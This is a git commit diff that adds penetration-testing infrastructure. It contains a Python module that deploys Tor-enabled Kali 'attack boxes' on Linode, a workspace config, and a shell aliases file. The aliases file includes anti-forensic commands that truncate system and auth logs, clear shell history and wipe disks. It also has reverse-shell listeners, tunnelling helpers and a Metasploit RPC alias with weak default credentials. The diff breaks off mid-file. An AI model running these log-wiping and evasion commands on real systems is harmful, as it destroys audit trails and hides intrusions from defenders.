Got attack box and c2-redirector working
This commit is contained in:
@@ -0,0 +1,444 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Attack Box deployment module
|
||||
Deploy hardened attack boxes for initial access, manual testing, and reconnaissance
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
import glob
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||
archive_old_logs
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
from utils.name_generator import generate_attack_box_name
|
||||
from utils.naming_utils import get_deployment_name_with_options, show_naming_relationship
|
||||
|
||||
def attack_box_menu():
|
||||
"""Display the attack box deployment menu"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}ATTACK BOX DEPLOYMENT{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||
print(f"1) Deploy Quick Recon Box {COLORS['GREEN']}*FAST*{COLORS['RESET']} {COLORS['GRAY']}(Kali + Basic Tools - ~2-3 min){COLORS['RESET']}")
|
||||
print(f"2) Deploy Kali Attack Box {COLORS['GRAY']}(Full Tools & Setup - ~15-20 min){COLORS['RESET']}")
|
||||
print(f"3) Deploy Custom Ubuntu Attack Box")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_quick_recon_box()
|
||||
elif choice == "2":
|
||||
deploy_kali_attack_box()
|
||||
elif choice == "3":
|
||||
deploy_ubuntu_attack_box()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
# Quick Recon Box now uses the regular attack box deployment with minimal settings
|
||||
|
||||
def gather_attack_box_parameters(attack_box_type="kali"):
|
||||
"""Collect parameters specific to attack box deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}ATTACK BOX SETUP - {attack_box_type.upper()}{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}{'=' * (20 + len(attack_box_type))}{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Attack box specific configuration
|
||||
print(f"\n{COLORS['BLUE']}Attack Box Configuration{COLORS['RESET']}")
|
||||
|
||||
# Set deployment type
|
||||
config['deployment_type'] = 'attack_box'
|
||||
|
||||
# Attack box type
|
||||
config['attack_box_type'] = attack_box_type
|
||||
|
||||
# Attack box name with common naming options
|
||||
config['attack_box_name'] = get_deployment_name_with_options(
|
||||
deployment_type='attack_box',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='a-'
|
||||
)
|
||||
|
||||
# Attack box image mapping
|
||||
if attack_box_type == "kali":
|
||||
config['attack_box_image'] = "linode/kali"
|
||||
elif attack_box_type == "ubuntu":
|
||||
config['attack_box_image'] = "linode/ubuntu22.04"
|
||||
else:
|
||||
config['attack_box_image'] = "linode/ubuntu22.04" # Default fallback
|
||||
|
||||
# Instance sizing based on attack box type
|
||||
print(f"\n{COLORS['GREEN']}Instance Size Selection:{COLORS['RESET']}")
|
||||
print(f"1) Small (2 CPU, 4GB RAM) - Basic reconnaissance")
|
||||
print(f"2) Medium (4 CPU, 8GB RAM) - Standard penetration testing")
|
||||
print(f"3) Large (8 CPU, 16GB RAM) - Heavy exploitation/cracking")
|
||||
print(f"4) XLarge (16 CPU, 32GB RAM) - Advanced research/development")
|
||||
|
||||
size_choice = input(f"Select instance size [2]: ").strip() or "2"
|
||||
size_mapping = {
|
||||
"1": {"type": "g6-standard-2", "name": "small"},
|
||||
"2": {"type": "g6-standard-4", "name": "medium"},
|
||||
"3": {"type": "g6-standard-8", "name": "large"},
|
||||
"4": {"type": "g6-standard-16", "name": "xlarge"}
|
||||
}
|
||||
|
||||
if size_choice in size_mapping:
|
||||
config['instance_size'] = size_mapping[size_choice]['name']
|
||||
if provider == "linode":
|
||||
config['linode_instance_type'] = size_mapping[size_choice]['type']
|
||||
else:
|
||||
config['instance_size'] = "medium"
|
||||
config['linode_instance_type'] = "g6-standard-4"
|
||||
|
||||
# SSH key generation using attack box name for consistency
|
||||
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||
if ssh_key_path:
|
||||
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
|
||||
# Additional tools selection
|
||||
print(f"\n{COLORS['BLUE']}Additional Tools & Features:{COLORS['RESET']}")
|
||||
|
||||
# Custom domain for C2 comms (optional)
|
||||
domain = input(f"Domain for attack box (optional, for C2 comms): ").strip()
|
||||
if domain:
|
||||
config['domain'] = domain
|
||||
config['setup_domain'] = True
|
||||
else:
|
||||
config['setup_domain'] = False
|
||||
|
||||
# VPN setup
|
||||
setup_vpn = input(f"Setup VPN server on attack box? [y/N]: ").strip().lower()
|
||||
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||
|
||||
# Tor setup
|
||||
setup_tor = input(f"Setup Tor proxy? [y/N]: ").strip().lower()
|
||||
config['setup_tor'] = setup_tor in ['y', 'yes']
|
||||
|
||||
# Custom wordlists
|
||||
custom_wordlists = input(f"Download custom wordlists? [y/N]: ").strip().lower()
|
||||
config['custom_wordlists'] = custom_wordlists in ['y', 'yes']
|
||||
|
||||
# Set operator IP for security
|
||||
config['operator_ip'] = get_public_ip()
|
||||
if config['operator_ip']:
|
||||
print(f"{COLORS['GREEN']}Detected operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||
|
||||
# SSH after deploy
|
||||
ssh_after = input(f"\nSSH to attack box after deployment? [Y/n]: ").strip().lower()
|
||||
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||
|
||||
# Auto-teardown on failure option
|
||||
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
||||
|
||||
# Enhanced OPSEC mode
|
||||
opsec_mode = input(f"Enable enhanced OPSEC mode? (for sensitive operations) [y/N]: ").strip().lower()
|
||||
config['enhanced_opsec'] = opsec_mode in ['y', 'yes']
|
||||
|
||||
if config['enhanced_opsec']:
|
||||
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
|
||||
print(f" • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
|
||||
print(f" • No 'trashpanda' references in files or aliases")
|
||||
print(f" • Generic script names and comments")
|
||||
print(f" • Minimal logging and history")
|
||||
print(f" • No obvious pentesting tool signatures in configs")
|
||||
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||
config['tool_name'] = "toolkit"
|
||||
config['project_name'] = config['deployment_id']
|
||||
else:
|
||||
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
|
||||
config['work_dir'] = "/root/dmealey"
|
||||
config['tool_name'] = "trashpanda"
|
||||
config['project_name'] = "dmealey"
|
||||
|
||||
# Check for global auto-teardown flag
|
||||
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
|
||||
|
||||
if global_auto_teardown:
|
||||
config['auto_teardown_on_fail'] = True
|
||||
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled globally - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||
else:
|
||||
auto_teardown = input(f"Auto-teardown on deployment failure? (for testing/overnight runs) [y/N]: ").strip().lower()
|
||||
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||
|
||||
if config['auto_teardown_on_fail']:
|
||||
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['CYAN']}💡 Failed deployments will prompt for cleanup confirmation{COLORS['RESET']}")
|
||||
|
||||
# Set deployment type
|
||||
config['deployment_type'] = f'{attack_box_type}_attack_box'
|
||||
|
||||
return config
|
||||
|
||||
def deploy_kali_attack_box():
|
||||
"""Deploy Kali Linux attack box"""
|
||||
config = gather_attack_box_parameters("kali")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/kali'
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Kali Linux attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_parrot_attack_box():
|
||||
"""Deploy Parrot Security attack box"""
|
||||
config = gather_attack_box_parameters("parrot")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/debian11' # Will install Parrot tools
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Parrot Security attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_ubuntu_attack_box():
|
||||
"""Deploy custom Ubuntu attack box"""
|
||||
config = gather_attack_box_parameters("ubuntu")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/ubuntu22.04'
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Ubuntu attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_quick_recon_box():
|
||||
"""Deploy streamlined attack box focused on OPSEC and initial reconnaissance"""
|
||||
config = gather_quick_recon_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/kali' # Kali Linux base
|
||||
config['default_user'] = 'root'
|
||||
config['deployment_type'] = 'quick_recon_box'
|
||||
config['attack_box_type'] = 'quick_recon'
|
||||
config['quick_deployment'] = True
|
||||
config['enhanced_opsec'] = True # Always enable OPSEC
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Quick Recon Box (minimal tools + OPSEC)...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def gather_quick_recon_parameters():
|
||||
"""Collect parameters for quick recon box deployment - streamlined"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}QUICK RECON BOX SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||
print(f"{COLORS['CYAN']}Minimal deployment - basic tools + Tor + optional VPN{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Kali Linux base with core tools (nmap, nc, curl, dig, whois, tor){COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Add whatever tools you need after deployment{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Fast deployment - under 5 minutes{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"\nDeployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Quick recon specific configuration
|
||||
config['deployment_type'] = 'quick_recon_box'
|
||||
config['attack_box_type'] = 'quick_recon'
|
||||
|
||||
# Attack box name with recon prefix
|
||||
config['attack_box_name'] = get_deployment_name_with_options(
|
||||
deployment_type='quick_recon',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='qr-'
|
||||
)
|
||||
|
||||
# Force small instance for speed and cost
|
||||
print(f"\n{COLORS['GREEN']}Instance: Small (2 CPU, 4GB RAM) - Optimized for recon{COLORS['RESET']}")
|
||||
config['instance_size'] = "small"
|
||||
if provider == "linode":
|
||||
config['linode_instance_type'] = "g6-standard-2"
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||
if ssh_key_path:
|
||||
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
|
||||
# Minimal OPSEC configuration
|
||||
print(f"\n{COLORS['BLUE']}Quick OPSEC Configuration:{COLORS['RESET']}")
|
||||
|
||||
# Always enable Tor
|
||||
config['setup_tor'] = True
|
||||
print(f"✓ Tor proxy enabled (for anonymous operations)")
|
||||
|
||||
# Optional VPN
|
||||
setup_vpn = input(f"Setup VPN server? [y/N]: ").strip().lower()
|
||||
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||
|
||||
# No domain by default (keep minimal)
|
||||
config['setup_domain'] = False
|
||||
|
||||
# Set operator IP for security
|
||||
config['operator_ip'] = get_public_ip()
|
||||
if config['operator_ip']:
|
||||
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||
|
||||
# SSH after deploy
|
||||
ssh_after = input(f"SSH after deployment? [Y/n]: ").strip().lower()
|
||||
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||
|
||||
# Enhanced OPSEC (always enabled)
|
||||
config['enhanced_opsec'] = True
|
||||
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||
config['tool_name'] = "toolkit"
|
||||
config['project_name'] = config['deployment_id']
|
||||
|
||||
# Auto-teardown option
|
||||
auto_teardown = input(f"Auto-teardown on failure? [y/N]: ").strip().lower()
|
||||
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||
|
||||
# Set deployment flags
|
||||
config['default_user'] = 'root'
|
||||
config['attack_box_deployment'] = True
|
||||
config['ssh_user'] = 'root'
|
||||
|
||||
return config
|
||||
|
||||
def deploy_windows_attack_box():
|
||||
"""Deploy Windows attack box"""
|
||||
print(f"\n{COLORS['YELLOW']}Windows attack box deployment coming soon...{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}This will include Cobalt Strike, Metasploit, and Windows-specific tools{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_multiple_attack_boxes():
|
||||
"""Deploy multiple attack boxes for large engagements"""
|
||||
print(f"\n{COLORS['BLUE']}Multiple Attack Box Deployment{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}This will deploy multiple attack boxes for distributed operations{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Coming soon...{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def execute_attack_box_deployment(config):
|
||||
"""Execute attack box infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting attack box deployment...{COLORS['RESET']}")
|
||||
|
||||
# Set up logging (archiving is now handled globally)
|
||||
log_file = setup_logging(config['deployment_id'], "attack_box_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Attack Box Name: {config['attack_box_name']}")
|
||||
|
||||
# Show naming relationship if attack box is named after another deployment
|
||||
naming_info = show_naming_relationship(
|
||||
config['attack_box_name'],
|
||||
config['deployment_id'],
|
||||
'attack_box'
|
||||
)
|
||||
if naming_info:
|
||||
print(f" └─ {naming_info['relationship_text']}")
|
||||
print(f" └─ {naming_info['purpose_text']}")
|
||||
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Attack Box Type: {config['attack_box_type']}")
|
||||
print(f"Instance Size: {config['instance_size']}")
|
||||
if config.get('domain'):
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"VPN Setup: {'Yes' if config['setup_vpn'] else 'No'}")
|
||||
print(f"Tor Setup: {'Yes' if config['setup_tor'] else 'No'}")
|
||||
|
||||
# Show SSH key information
|
||||
if config.get('ssh_key_path'):
|
||||
ssh_key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '')
|
||||
print(f"SSH Key: {ssh_key_name}")
|
||||
print(f" └─ Use: ssh -i ~/.ssh/{ssh_key_name} root@<ip>")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with attack box deployment?{COLORS['RESET']}", default=True):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Set attack box deployment flag
|
||||
config['attack_box_deployment'] = True
|
||||
|
||||
# Execute the actual deployment using the deployment engine
|
||||
from utils.deployment_engine import deploy_infrastructure
|
||||
success = deploy_infrastructure(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}Attack box deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
# Display credentials file location
|
||||
credentials_file = f"logs/deployment_info_{config['deployment_id']}.txt"
|
||||
if os.path.exists(credentials_file):
|
||||
print(f"\n{COLORS['CYAN']}📁 Credentials saved to: {credentials_file}{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}⚠️ Keep this file secure - it contains your root password!{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Next Steps:{COLORS['RESET']}")
|
||||
print(f"1. SSH to your attack box using the saved credentials")
|
||||
print(f"2. Run initial security updates")
|
||||
print(f"3. Configure VPN if enabled")
|
||||
print(f"4. Begin reconnaissance")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Attack box deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
if __name__ == "__main__":
|
||||
attack_box_menu()
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
# Attack Box Configuration
|
||||
# ========================
|
||||
|
||||
# Attack Box Setup Information
|
||||
ATTACK_BOX_VERSION="1.0.0"
|
||||
WORKSPACE_DIR="/root/dmealey"
|
||||
SCRIPTS_DIR="/root/dmealey/tools/scripts"
|
||||
TOOLS_DIR="/root/dmealey/tools"
|
||||
|
||||
# Available Commands
|
||||
echo "Attack Box Commands:"
|
||||
echo "==================="
|
||||
echo "recon <target> - Run reconnaissance automation"
|
||||
echo "portscan <target> - Run port scan automation"
|
||||
echo "webenum <target> - Run web enumeration automation"
|
||||
echo "attack-menu - Launch manual testing menu"
|
||||
echo "dmealey - Change to main directory"
|
||||
echo "mkdmealey <name> - Create new engagement structure"
|
||||
echo ""
|
||||
echo "Workspace Structure:"
|
||||
echo "==================="
|
||||
echo "~/dmealey/tools/ - All security tools and scripts"
|
||||
echo "~/dmealey/scans/ - All scan results organized by type"
|
||||
echo "~/dmealey/loot/ - Extracted data and credentials"
|
||||
echo "~/dmealey/targets/ - Target lists and reconnaissance"
|
||||
echo "~/dmealey/notes/ - Manual notes and observations"
|
||||
echo "~/dmealey/reports/ - Documentation and reporting"
|
||||
echo "~/dmealey/exploits/ - Working exploits and POCs"
|
||||
echo "~/dmealey/payloads/ - Custom payloads and shells"
|
||||
echo "~/dmealey/wordlists/ - Custom and downloaded wordlists"
|
||||
echo "~/dmealey/pcaps/ - Network captures and analysis"
|
||||
echo ""
|
||||
echo "Trashpanda-style Directory Structure:"
|
||||
echo "====================================="
|
||||
echo "The dmealey directory follows the exact structure as TrashPanda tool"
|
||||
echo "with organized subdirectories for different scan types and data."
|
||||
@@ -0,0 +1,462 @@
|
||||
# OPSEC-Aware Shell Aliases for Attack Box
|
||||
# Clean configuration without identifiable information
|
||||
|
||||
# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
|
||||
|
||||
alias ll='ls -alFh --color=auto'
|
||||
alias la='ls -A --color=auto'
|
||||
alias l='ls -CF --color=auto'
|
||||
alias cls='clear'
|
||||
alias clr='clear'
|
||||
alias ..='cd ..'
|
||||
alias ...='cd ../..'
|
||||
alias ....='cd ../../..'
|
||||
alias grep='grep --color=auto'
|
||||
alias egrep='egrep --color=auto'
|
||||
alias fgrep='fgrep --color=auto'
|
||||
|
||||
# File operations with safety
|
||||
alias cp='cp -i'
|
||||
alias mv='mv -i'
|
||||
alias rm='rm -i'
|
||||
|
||||
# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
# Network checks
|
||||
alias myip='curl -s ifconfig.me'
|
||||
alias checkip='curl -s https://ipinfo.io/ip'
|
||||
alias checkdns='cat /etc/resolv.conf'
|
||||
alias ports='netstat -tulanp'
|
||||
alias listen='lsof -i -P | grep LISTEN'
|
||||
alias estab='lsof -i -P | grep ESTABLISHED'
|
||||
|
||||
# Process and connection monitoring
|
||||
alias checkcon='ss -tupan | grep ESTABLISHED'
|
||||
alias checklis='ss -tupan | grep LISTEN'
|
||||
alias checkproc='ps auxf | grep -v grep | grep'
|
||||
alias psg='ps aux | grep -v grep | grep -i'
|
||||
alias pscpu='ps auxf | sort -nr -k 3'
|
||||
alias psmem='ps auxf | sort -nr -k 4'
|
||||
|
||||
# Emergency and cleanup
|
||||
alias panic='emergency-wipe.sh'
|
||||
alias emergency-wipe='emergency-wipe.sh'
|
||||
alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
|
||||
alias clean='trash-cleanup.sh'
|
||||
alias opsec='opsec-check.sh'
|
||||
|
||||
# Cleanup operations
|
||||
alias wipe-free='sudo sfill -v /'
|
||||
alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
|
||||
alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
|
||||
alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
|
||||
alias shred-file='shred -vfz -n 3'
|
||||
|
||||
# Anonymity
|
||||
alias anon-on='sudo systemctl start tor && . torsocks on'
|
||||
alias anon-off='. torsocks off && sudo systemctl stop tor'
|
||||
alias check-tor='curl -s https://check.torproject.org/api/ip'
|
||||
|
||||
# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias ops='cd ~/ops'
|
||||
alias targets='cd ~/ops/targets'
|
||||
alias loot='cd ~/ops/loot'
|
||||
alias logs='cd ~/ops/logs'
|
||||
alias reports='cd ~/ops/reports'
|
||||
alias shells='cd ~/ops/shells'
|
||||
alias mount='cd ~/ops/mount'
|
||||
alias tools='cd ~/tools'
|
||||
alias www='cd /var/www/html'
|
||||
alias tmp='cd /tmp'
|
||||
alias payloads='cd ~/ops/payloads'
|
||||
alias wordlists='cd ~/tools/wordlists'
|
||||
alias exploits='cd ~/ops/exploits'
|
||||
|
||||
# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
|
||||
|
||||
alias serve='python3 -m http.server'
|
||||
alias serve80='sudo python3 -m http.server 80'
|
||||
alias servephp='php -S 0.0.0.0:8080'
|
||||
alias smbserv='impacket-smbserver share . -smb2support'
|
||||
alias ftpserv='python3 -m pyftpdlib -p 21 -w'
|
||||
|
||||
# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
|
||||
|
||||
alias ncl='nc -nvlp'
|
||||
alias ncu='nc -nvu'
|
||||
alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
|
||||
alias rlwrapl='rlwrap nc -nvlp'
|
||||
|
||||
# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias socks='function _socks() {
|
||||
local config_name="$1"
|
||||
local port="${2:-1080}"
|
||||
|
||||
if [ -z "$config_name" ]; then
|
||||
echo "Usage: socks <ssh-config-name> [port]"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Kill existing proxy
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null
|
||||
|
||||
# Start SSH SOCKS proxy
|
||||
ssh -D $port -N -f "$config_name" || return 1
|
||||
|
||||
# Create temp profile
|
||||
local temp_profile="/tmp/firefox-socks-$$"
|
||||
mkdir -p "$temp_profile"
|
||||
|
||||
# Add proxy settings
|
||||
cat > "$temp_profile/user.js" << EOF
|
||||
user_pref("network.proxy.type", 1);
|
||||
user_pref("network.proxy.socks", "localhost");
|
||||
user_pref("network.proxy.socks_port", $port);
|
||||
user_pref("network.proxy.socks_version", 5);
|
||||
user_pref("network.proxy.socks_remote_dns", true);
|
||||
EOF
|
||||
|
||||
# Use setsid to fully detach and preserve input
|
||||
setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
|
||||
|
||||
echo "✓ Firefox launched with SOCKS proxy"
|
||||
}; _socks'
|
||||
|
||||
# Enhanced stop function
|
||||
alias socks-stop='function _socks_stop() {
|
||||
local port="${1:-1080}"
|
||||
|
||||
echo -n "Stopping SOCKS proxy on port $port... "
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
|
||||
|
||||
# Clean up temp profiles
|
||||
rm -rf /tmp/firefox-socks-* 2>/dev/null
|
||||
}; _socks_stop'
|
||||
|
||||
# Local port forwarding - Access remote service on local port
|
||||
# Usage: ssh-local 8080 target.com 80 user@jumpbox
|
||||
ssh-local() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
|
||||
echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
|
||||
ssh -N -L $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Remote port forwarding - Expose local service to remote
|
||||
# Usage: ssh-remote 8080 localhost 80 user@public-server
|
||||
ssh-remote() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
|
||||
echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
|
||||
ssh -N -R $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Dynamic SOCKS proxy
|
||||
# Usage: ssh-socks 1080 user@target
|
||||
ssh-socks() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-socks <local-port> <ssh-server>"
|
||||
echo "Example: ssh-socks 1080 user@target.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating SOCKS proxy on port $1 via $2"
|
||||
echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
|
||||
ssh -N -D $1 $2
|
||||
}
|
||||
|
||||
# Multi-hop SSH tunnel
|
||||
# Usage: ssh-multihop target.internal jumpbox.com
|
||||
ssh-multihop() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-multihop <final-target> <jumpbox>"
|
||||
echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Connecting to $1 via $2"
|
||||
ssh -J $2 $1
|
||||
}
|
||||
|
||||
# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
|
||||
|
||||
# Mount remote directory via SSHFS
|
||||
# Usage: ssh-mount user@host:/path /local/mount
|
||||
ssh-mount() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
|
||||
echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2"
|
||||
sshfs -o allow_other,default_permissions $1 $2
|
||||
}
|
||||
|
||||
# Unmount SSHFS
|
||||
# Usage: ssh-unmount /local/mount
|
||||
ssh-unmount() {
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage: ssh-unmount <local-mount-point>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Unmounting $1"
|
||||
fusermount -u $1
|
||||
}
|
||||
|
||||
# Mount with specific SSH key
|
||||
# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
|
||||
ssh-mount-key() {
|
||||
if [ $# -ne 3 ]; then
|
||||
echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2 using key $3"
|
||||
sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
|
||||
}
|
||||
|
||||
# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
|
||||
|
||||
# Metasploit
|
||||
alias msf='msfconsole -q'
|
||||
alias msfup='msfupdate'
|
||||
alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
|
||||
|
||||
# Nmap shortcuts
|
||||
alias nmap-full='nmap -sC -sV -O -p- -T4'
